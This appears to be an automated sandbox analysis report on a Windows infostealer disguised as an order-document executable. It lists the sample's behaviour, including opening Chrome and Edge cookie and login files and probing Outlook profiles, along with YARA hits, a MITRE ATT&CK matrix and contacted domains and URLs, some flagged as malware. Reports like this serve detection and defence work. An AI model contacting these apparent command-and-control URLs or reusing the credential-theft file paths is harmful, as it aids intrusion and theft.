Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 5.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2506231029.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4564032756.0000000002E10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4565204551.00000000030A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2506704352.0000000000E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4571364654.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4576370278.0000000004DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4571646187.0000000003D30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2507910619.0000000002B80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\compact.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\compact.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\compact.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 5.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2506231029.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4564032756.0000000002E10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4565204551.00000000030A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2506704352.0000000000E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4571364654.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4576370278.0000000004DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4571646187.0000000003D30000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2507910619.0000000002B80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Timestomp	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 DLL Side-Loading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	24%	ReversingLabs	Win32.Trojan.Generic
Art_Spec. 4008670601 AZTEK Order _ 7.3.2024.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff2	0%	Avira URL Cloud	safe
http://www.architect-usschool.com/s24g/	100%	Avira URL Cloud	malware
http://www.artvectorcraft.store/s0j2/?OdjTHtuX=BcB93STIeRzesDqYzmgjF/8Aqg2qoGbugvfC7gVQd0Epq+RTfyEF6eLz+ZShIqPWgjFYuR+pkePM3whd8giEyH2988JCuLY+vIFLWxAqbBoWpgzIu1DPnhlaAUBnkOtEvd711RA=&Y6vp=3PLd8j	0%	Avira URL Cloud	safe
http://architect-usschool.com/s24g/?Y6vp=3PLd8j&OdjTHtuX=4rIlPCx72NWCI0QJXJwD	100%	Avira URL Cloud	malware
http://www.epicbazaarhub.com/2769/	0%	Avira URL Cloud	safe
http://www.hellokong.xyz/oui5/	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://searchdiscovered.com/__media__/images/logo.gif)	0%	Avira URL Cloud	safe
https://cdn.consentmanager.net	0%	Avira URL Cloud	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://i2.cdn-image.com/__media__/pics/28903/search.png)	0%	Avira URL Cloud	safe
http://www.hondamechanic.today/pv57/	0%	Avira URL Cloud	safe
http://www.architect-usschool.com/s24g/?Y6vp=3PLd8j&OdjTHtuX=4rIlPCx72NWCI0QJXJwD+tzjHhGgLlyDkrck6XhMS8VcXSbKvpDPBj6V0V8nuLzRy/FwKWDUEv1cw0ImnsIqFnkVImpc8YyZ7gWSicgk/ENTSAvixeUyT+Tq9osdZT4ae7dFHSM=	100%	Avira URL Cloud	malware
http://www.tedjp-x.com/rxdf/?OdjTHtuX=n5pckC1kDFTF1S5BKIsmiJ5ryDhRlCYaQVQlc2liktwXiyajKP48Wkncu6FoMqtxFtMv+2TSpEcAsDV+dI8BV0td651LvJeUOcJvnAipjtqBUQAoEW2kSo5oIr+iYWP+5LowsUg=&Y6vp=3PLd8j	0%	Avira URL Cloud	safe
http://www.tedjp-x.com/rxdf/	0%	Avira URL Cloud	safe
http://epicbazaarhub.com/2769/?OdjTHtuX=rQ9MRvShllEvhf19NmQGPjdBfvwxqGfh/iQ/JyzvIKd3JVnhiEf6Ad8S1fm4	0%	Avira URL Cloud	safe
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otf	0%	Avira URL Cloud	safe
https://www.namecheap.com/domains/registration/results/?domain=easybackpage.net	0%	Avira URL Cloud	safe
http://www.rz6grmvv.shop/wvam/	0%	Avira URL Cloud	safe
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.otf	0%	Avira URL Cloud	safe
http://www.mengistiebethlehem.com/display.cfm	0%	Avira URL Cloud	safe
http://www.3cubesinterior.in/n8zi/	0%	Avira URL Cloud	safe
http://www.mengistiebethlehem.com/Moravia.cfm?fp=rb9JssZzcqrxgVbtqj8jg7AT9cR7GfkC5tZbe1UYWx%2FFitbFc	0%	Avira URL Cloud	safe
http://www.fondazionegtech.org/jmiz/?Y6vp=3PLd8j&OdjTHtuX=FlIs+r8zH5IdzVyrxFdSYjESHC6F8ED2JjV8fIhoTiEGriidwWKKTvYGFckMGyNztz9f5I1p/5DHHhHlE1nDIZgKO5qXvVh1+gwmyYcA+2CCaGrmZckpjuvJQ96WUy8TtzIG0Do=	0%	Avira URL Cloud	safe
http://www.mengistiebethlehem.com/Christmas_City_Studio.cfm?fp=rb9JssZzcqrxgVbtqj8jg7AT9cR7GfkC5tZbe	0%	Avira URL Cloud	safe
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot	0%	Avira URL Cloud	safe
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot?#iefix	100%	Avira URL Cloud	malware
https://hao7.vip	0%	Avira URL Cloud	safe
http://www.mengistiebethlehem.com/92z0/?OdjTHtuX=Gchg326o6RWN/XFADw/V4eD2MO3apSP8yQOPkbolGTbWXGJL1kFLipwvr6KFDeoH1MC+XiIJPCdl50bZjywkZNBk97uFxrq9QGi9z8UXs1GhAfMLlFrOVkcHu0q9EP6WPl8Zh5k=&Y6vp=3PLd8j	0%	Avira URL Cloud	safe
https://delivery.consentmanager.net	0%	Avira URL Cloud	safe
https://support.hostgator.com/	0%	Avira URL Cloud	safe
http://www.superunicornpalace.com/mwa4/	0%	Avira URL Cloud	safe
http://www.easybackpage.net/3jr0/?OdjTHtuX=C6nbN3Z6SrmD48dKFL5Pdr+cZFmYp1QsQ3e628IyGZcRZCB2vhKb6ox4g6I37OYbmAVSFMbRXnVDWcusSAPk0vfQfIagm0ASlZK02lSA38wn9PDfH1oUKWJrxTMbBcOAU+1qziI=&Y6vp=3PLd8j	0%	Avira URL Cloud	safe
http://www.rz6grmvv.shop/wvam/?Y6vp=3PLd8j&OdjTHtuX=ppN4Kg7gaCRo+jf4iLEmna60kcJd+oo7/wZIRMT4+Man5OlGV28GmQNPMVld/mi8klF/kBnYjgc4RUC2chY7WuIAYm4xk+Ll6sKGI2rWgbxJmoqgO5rVx7RJwqzCMQvvfrLjQU4=	0%	Avira URL Cloud	safe
http://i2.cdn-image.com/__media__/pics/28905/arrrow.png)	0%	Avira URL Cloud	safe
http://www.hellokong.xyz/oui5/?OdjTHtuX=SBbMJInblZiNUqJtj2t3oAZeaf7w1Mr63FaPzYR5npk3jTg+edZF9NME4tF9tViJCHx7c4tSq6N/qcOwzg98IChDG2ekcZOWcYJRK2znKimA3GQ/fbvAwxxdlKlVh8HBUwdv3Sg=&Y6vp=3PLd8j	0%	Avira URL Cloud	safe
https://www.fondazionegtech.org/jmiz/?OdjTHtuX=FlIs%20r8zH5IdzVyrxFdSYjESHC6F8ED2JjV8fIhoTiEGriidwWK	0%	Avira URL Cloud	safe
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot	100%	Avira URL Cloud	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.svg#montserrat-regular	0%	Avira URL Cloud	safe
http://www.3cubesinterior.in/n8zi/?Y6vp=3PLd8j&OdjTHtuX=TDN237cw9XQsPbq3g6hYHsVRIrTNU69YOKlE8puzfHXbytTXePjBpDkk8R6CbNZjNtV+M1xTH1M7WEFVhsxtrVg+jjfEC0sBsxKcDNAG8QmzJp6ywkUHIkWAXYoQO53dC+2pPrw=	0%	Avira URL Cloud	safe
http://www.mengistiebethlehem.com/92z0/	0%	Avira URL Cloud	safe
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff	0%	Avira URL Cloud	safe
http://3cubesinterior.in/n8zi/?Y6vp=3PLd8j&OdjTHtuX=TDN237cw9XQsPbq3g6hYHsVRIrTNU69YOKlE8puzfHXbytTX	0%	Avira URL Cloud	safe
http://i2.cdn-image.com/__media__/pics/29590/bg1.png)	0%	Avira URL Cloud	safe
https://www.sedo.com/services/parking.php3	0%	Avira URL Cloud	safe
http://www.mengistiebethlehem.com/Lehigh_Valley.cfm?fp=rb9JssZzcqrxgVbtqj8jg7AT9cR7GfkC5tZbe1UYWx%2F	0%	Avira URL Cloud	safe
http://www.hondamechanic.today	0%	Avira URL Cloud	safe
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf	0%	Avira URL Cloud	safe
http://www.ad14.fun/oc7s/?Y6vp=3PLd8j&OdjTHtuX=ITz00edB1Uq7JDbRPTK5B57t89T2WQZ+hnFFsCQVLpiDf2LeJizgG+jH2jz5I+TBlRR/yAoHWWMQTB4d0WCMdZHpvgPMtRMFWqdBjyYGuisLgsnAd4XsPoSnl82L2CWvs48fsL0=	0%	Avira URL Cloud	safe
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttf	0%	Avira URL Cloud	safe
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.svg#montserrat-bold	0%	Avira URL Cloud	safe
http://www.hondamechanic.today/pv57/?OdjTHtuX=6UcJOPuI3ds3m8dRFaGqe18kk0aRE6C9zfep+6iQQcPKXv8sEJKo1I2dFrwlAwFzKSJLgqMZnt8gW4RLGDqdj2op7I/d7Qwx4DLM/Sb7UzOzABLy3akf6gQBeurdxZRPhPoEffE=&Y6vp=3PLd8j	0%	Avira URL Cloud	safe
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff	0%	Avira URL Cloud	safe
http://i2.cdn-image.com/__media__/js/min.js?v2.3	0%	Avira URL Cloud	safe
https://img.sedoparking.com/templates/images/hero_nc.svg	0%	Avira URL Cloud	safe
http://www.easybackpage.net/3jr0/	0%	Avira URL Cloud	safe
http://www.ad14.fun/oc7s/	0%	Avira URL Cloud	safe
http://www.artvectorcraft.store/s0j2/	0%	Avira URL Cloud	safe
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot?#iefix	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.rz6grmvv.shop	121.254.178.230	true	false	unknown
ghs.google.com	142.250.74.211	true	false	unknown
superunicornpalace.com	144.208.124.10	true	false	unknown
www.architect-usschool.com	217.160.0.84	true	false	unknown
parkingpage.namecheap.com	91.195.240.19	true	false	unknown
www.hondamechanic.today	64.190.62.22	true	false	unknown
www.mengistiebethlehem.com	208.91.197.13	true	false	unknown
www.ad14.fun	188.114.96.3	true	false	unknown
epicbazaarhub.com	192.185.208.8	true	false	unknown
sitestudio.it	89.31.76.10	true	false	unknown
www.tedjp-x.com	162.43.101.114	true	false	unknown
www.hellokong.xyz	203.161.49.220	true	true	unknown
3cubesinterior.in	45.113.122.18	true	false	unknown
www.3cubesinterior.in	unknown	unknown	true	unknown
www.fondazionegtech.org	unknown	unknown	true	unknown
www.macklaer.com	unknown	unknown	true	unknown
www.easybackpage.net	unknown	unknown	true	unknown
www.epicbazaarhub.com	unknown	unknown	true	unknown
www.superunicornpalace.com	unknown	unknown	true	unknown
www.artvectorcraft.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.hellokong.xyz/oui5/	false	Avira URL Cloud: safe	unknown
http://www.architect-usschool.com/s24g/	true	Avira URL Cloud: malware	unknown
http://www.artvectorcraft.store/s0j2/?OdjTHtuX=BcB93STIeRzesDqYzmgjF/8Aqg2qoGbugvfC7gVQd0Epq+RTfyEF6eLz+ZShIqPWgjFYuR+pkePM3whd8giEyH2988JCuLY+vIFLWxAqbBoWpgzIu1DPnhlaAUBnkOtEvd711RA=&Y6vp=3PLd8j	false	Avira URL Cloud: safe	unknown
http://www.epicbazaarhub.com/2769/	false	Avira URL Cloud: safe	unknown
http://www.hondamechanic.today/pv57/	false	Avira URL Cloud: safe	unknown
http://www.architect-usschool.com/s24g/?Y6vp=3PLd8j&OdjTHtuX=4rIlPCx72NWCI0QJXJwD+tzjHhGgLlyDkrck6XhMS8VcXSbKvpDPBj6V0V8nuLzRy/FwKWDUEv1cw0ImnsIqFnkVImpc8YyZ7gWSicgk/ENTSAvixeUyT+Tq9osdZT4ae7dFHSM=	true	Avira URL Cloud: malware	unknown
http://www.tedjp-x.com/rxdf/?OdjTHtuX=n5pckC1kDFTF1S5BKIsmiJ5ryDhRlCYaQVQlc2liktwXiyajKP48Wkncu6FoMqtxFtMv+2TSpEcAsDV+dI8BV0td651LvJeUOcJvnAipjtqBUQAoEW2kSo5oIr+iYWP+5LowsUg=&Y6vp=3PLd8j	false	Avira URL Cloud: safe	unknown
http://www.tedjp-x.com/rxdf/	false	Avira URL Cloud: safe	unknown
http://www.rz6grmvv.shop/wvam/	false	Avira URL Cloud: safe	unknown
http://www.fondazionegtech.org/jmiz/?Y6vp=3PLd8j&OdjTHtuX=FlIs+r8zH5IdzVyrxFdSYjESHC6F8ED2JjV8fIhoTiEGriidwWKKTvYGFckMGyNztz9f5I1p/5DHHhHlE1nDIZgKO5qXvVh1+gwmyYcA+2CCaGrmZckpjuvJQ96WUy8TtzIG0Do=	false	Avira URL Cloud: safe	unknown
http://www.3cubesinterior.in/n8zi/	false	Avira URL Cloud: safe	unknown
http://www.mengistiebethlehem.com/92z0/?OdjTHtuX=Gchg326o6RWN/XFADw/V4eD2MO3apSP8yQOPkbolGTbWXGJL1kFLipwvr6KFDeoH1MC+XiIJPCdl50bZjywkZNBk97uFxrq9QGi9z8UXs1GhAfMLlFrOVkcHu0q9EP6WPl8Zh5k=&Y6vp=3PLd8j	false	Avira URL Cloud: safe	unknown
http://www.superunicornpalace.com/mwa4/	false	Avira URL Cloud: safe	unknown
http://www.rz6grmvv.shop/wvam/?Y6vp=3PLd8j&OdjTHtuX=ppN4Kg7gaCRo+jf4iLEmna60kcJd+oo7/wZIRMT4+Man5OlGV28GmQNPMVld/mi8klF/kBnYjgc4RUC2chY7WuIAYm4xk+Ll6sKGI2rWgbxJmoqgO5rVx7RJwqzCMQvvfrLjQU4=	false	Avira URL Cloud: safe	unknown
http://www.easybackpage.net/3jr0/?OdjTHtuX=C6nbN3Z6SrmD48dKFL5Pdr+cZFmYp1QsQ3e628IyGZcRZCB2vhKb6ox4g6I37OYbmAVSFMbRXnVDWcusSAPk0vfQfIagm0ASlZK02lSA38wn9PDfH1oUKWJrxTMbBcOAU+1qziI=&Y6vp=3PLd8j	false	Avira URL Cloud: safe	unknown
http://www.hellokong.xyz/oui5/?OdjTHtuX=SBbMJInblZiNUqJtj2t3oAZeaf7w1Mr63FaPzYR5npk3jTg+edZF9NME4tF9tViJCHx7c4tSq6N/qcOwzg98IChDG2ekcZOWcYJRK2znKimA3GQ/fbvAwxxdlKlVh8HBUwdv3Sg=&Y6vp=3PLd8j	false	Avira URL Cloud: safe	unknown
http://www.3cubesinterior.in/n8zi/?Y6vp=3PLd8j&OdjTHtuX=TDN237cw9XQsPbq3g6hYHsVRIrTNU69YOKlE8puzfHXbytTXePjBpDkk8R6CbNZjNtV+M1xTH1M7WEFVhsxtrVg+jjfEC0sBsxKcDNAG8QmzJp6ywkUHIkWAXYoQO53dC+2pPrw=	false	Avira URL Cloud: safe	unknown
http://www.mengistiebethlehem.com/92z0/	false	Avira URL Cloud: safe	unknown
http://www.ad14.fun/oc7s/?Y6vp=3PLd8j&OdjTHtuX=ITz00edB1Uq7JDbRPTK5B57t89T2WQZ+hnFFsCQVLpiDf2LeJizgG+jH2jz5I+TBlRR/yAoHWWMQTB4d0WCMdZHpvgPMtRMFWqdBjyYGuisLgsnAd4XsPoSnl82L2CWvs48fsL0=	false	Avira URL Cloud: safe	unknown
http://www.hondamechanic.today/pv57/?OdjTHtuX=6UcJOPuI3ds3m8dRFaGqe18kk0aRE6C9zfep+6iQQcPKXv8sEJKo1I2dFrwlAwFzKSJLgqMZnt8gW4RLGDqdj2op7I/d7Qwx4DLM/Sb7UzOzABLy3akf6gQBeurdxZRPhPoEffE=&Y6vp=3PLd8j	false	Avira URL Cloud: safe	unknown
http://www.easybackpage.net/3jr0/	false	Avira URL Cloud: safe	unknown
http://www.artvectorcraft.store/s0j2/	false	Avira URL Cloud: safe	unknown
http://www.ad14.fun/oc7s/	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	compact.exe, 0000000A.00000002.4577934774.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://architect-usschool.com/s24g/?Y6vp=3PLd8j&OdjTHtuX=4rIlPCx72NWCI0QJXJwD	compact.exe, 0000000A.00000002.4574298276.0000000004950000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.00000000036E0000.00000004.00000001.00040000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	compact.exe, 0000000A.00000002.4577934774.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://searchdiscovered.com/__media__/images/logo.gif)	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.consentmanager.net	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff2	compact.exe, 0000000A.00000002.4574298276.0000000004176000.00000004.10000000.00040000.00000000.sdmp, EUSOiCcoIEEJJ.exe, 0000000D.00000002.4571971139.0000000002F06000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
